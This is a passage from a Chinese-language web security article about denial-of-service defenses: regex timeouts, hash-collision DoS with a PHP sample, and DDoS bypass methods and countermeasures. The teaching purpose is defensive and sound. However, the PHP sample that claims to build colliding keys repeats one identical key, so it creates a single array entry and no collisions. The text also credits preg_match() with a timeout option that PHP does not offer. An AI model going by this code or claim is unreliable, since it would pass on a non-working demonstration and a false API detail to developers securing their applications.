3. 使用正则表达式超时限制：可以在 Web 服务器上配置正则引擎的超时限制，或者使用 PHP 的 preg_match() 函数的 timeout 选项来控制正则匹配的最大时间。
4. 限制请求大小：通过对输入数据的大小进行限制，减少攻击者可以提交的恶意数据量。

哈希冲突拒绝服务攻击（Hash DoS）

web 应用在处理请求中的 POST 数据时，通常使用键-值对的方式来进行存储，在 PHP、Python、Java 等语言中，键-值对的实质是一个哈希表，web 应用程序通过计算“键”的哈希来获取其所对应的的“值”。正常情况下，这个哈希表的哈希冲突较少，因此进行查找和插入的速度很快，如果攻击者构造一组恶意的 POST 数据，使得请求中的“键”的哈希值全部相同，那么保存 POST 数据的哈希表就会因此退化成为链表 ，对哈希表的查找和插入等操作规则变成了对链表的遍历操作，造成大量的计算资源被占用，导致拒绝服务攻击。

代码示例

PHP 中使用关联数据 (hash table)来处理请求中的数据。当 hash 表发生大量冲突时，处理速度会显著下降

<?php
// 假设接收POST数据并将其存储为关联数组
// 正常情况下，键的哈希值会有较好的分布，查询和插入速度较快。
// 但如果攻击者构造恶意的“键”，导致哈希冲突，查询和插入将退化为链表操作。

// 模拟恶意构造的POST数据
$postData = [];
// 通过哈希冲突攻击，故意构造一组具有相同哈希值的键
for ($i = 0; $i < 100000; $i++) {
    $key = str_repeat('a', 100); // 假设这里的键在 PHP 中的哈希值相同
    $postData[$key] = 'value';
}

// 模拟处理过程
$start = microtime(true);
$value = $postData[str_repeat('a', 100)];  // 查询某个键
$end = microtime(true);

// 输出查询消耗的时间
echo "查询消耗时间: " . ($end - $start) . "秒";
?>

---

DDoS 治理

绕过方式

攻击者为了应对服务器的防护，往往又一些绕过方式来增加防护难度：

• 分布式攻击，使用大量僵尸网络分散攻击流量，绕过单点防护。
• IP 伪造，攻击者伪造源 IP 地址，使得相应流量无法追踪到攻击者本身，使得简单源 IP 限速或封禁等手段无法有效防止攻击

防御方式

针对上述攻击方式，除了简单的流量清洗，速率限制，采用 CDN 分散流量等做法，还可以：

• 部署分布式防御，通过在多个地理位置部署防御节点，分散流量的处理，防止单点失效。在分布式防御中，即便攻击流量来自多个源，系统也能够通过大规模的分布式清洗技术来应对。
• 深度包检测(DPI)和行为分析技术，在流量级别上检测到伪造的源 IP 和异常的流量模式。例如，如果一个源IP在短时间内发送大量的UDP请求，但这些请求不符合正常的应用模式，防火墙或清洗设备可以及时识别并阻止。